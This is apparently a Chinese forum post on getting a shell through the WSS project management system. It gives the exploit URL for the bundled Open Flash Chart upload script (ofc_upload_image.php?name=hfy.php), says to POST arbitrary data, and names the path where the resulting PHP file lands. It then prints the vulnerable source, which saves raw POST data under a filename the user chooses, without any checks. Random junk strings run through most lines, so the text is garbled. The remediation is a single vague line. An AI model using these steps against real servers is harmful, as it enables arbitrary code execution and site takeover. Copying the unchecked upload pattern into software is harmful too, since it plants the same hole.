WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
9 J% v1 P7 I$ L' X- w. i$ o 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
$ B6 G* s! B  [( F4 U
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
# m) V! x8 k0 M2 V% n
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
, @% K8 Q: g) e6 C6 {9 y2 n
1 p; T+ ^, w, P! E
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

- Q2 \7 y& ~! u1 v0 L7 M<?php

; e4 Z# o2 ?9 b7 z  Y: r3 R//
  B5 X5 y* e2 E' r0 }! b0 N5 g# g// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*

+ R0 x( t' h" j, f) w; ~; Lprint_r( $_GET );
print_r( $_POST );
" Y* j" w( Z7 {print_r( $_FILES );

! n7 [' y3 f# t* m7 X. p( d4 Lprint_r( $GLOBALS );
/ ~+ g7 }: I5 W( `print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
5 i9 d  K4 ]" j4 h) B
4 t4 e2 @% L% I*/
// default path for the image to be stored //
) i- u' Y! d3 q( U2 f$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
* \* t$ L$ R5 @$destination = $default_path . basename( $_GET[ 'name' ] );

  m1 k. v6 G/ l9 oecho 'Saving your image to: '. $destination;
( {& ]9 y0 B+ P. ~) O; J/ \// print_r( $_POST );
+ E. y$ P$ C! t6 X- ^% ~6 H" F// print_r( $_SERVER );
2 u* x) _9 e6 i6 D% s7 g// echo $HTTP_RAW_POST_DATA;
0 a: o4 X, L  _3 n/ K  ?7 `
; y, m) W; E: u+ q: t7 j) |//
// POST data is usually string data, but we are passing a RAW .png
. C' t4 f+ W% v7 m, z+ l// so PHP is a bit confused and $_POST is empty. But it has saved
6 N1 t. W* t( B$ j+ s* f* p8 j// the raw bits into $HTTP_RAW_POST_DATA
$ x3 F# N% R& S0 N7 {//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
. y/ x( d# w5 A! |7 J2 k$ U4 }4 K7 |) j// LOOK:
//
% z. ~$ g: S9 jexit();
//
// PHP5:
//
& f; Z) ~; s6 E+ @

- J9 T5 D" x/ V, H) T' N7 `// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
8 N: _2 ?% b4 H8 W3 d, K
$ B! g. V2 n0 A# qif (!file_exists($default_path)) mkdir($default_path, 0777, true);
+ Q% G+ \0 n+ [# [9 @( Q% S
// full path to the saved image including filename //
6 h$ y0 j# b$ p# L$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
; k1 a- U0 s: w6 k
// move the image into the specified directory //
7 O% X7 e0 t5 B" o; |* {- wif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
& q2 I9 M, D5 N" S    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}
3 x0 v& N& f  @

?>





* k. ~- k6 n. n% n4 d
修复方案：
  t, w6 i5 x1 t( n* _1 q这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
+ x9 i7 x1 J& ^7 L3 ~, c
% S4 ?' `$ \5 m- x$ s


2 a. L' W+ I* l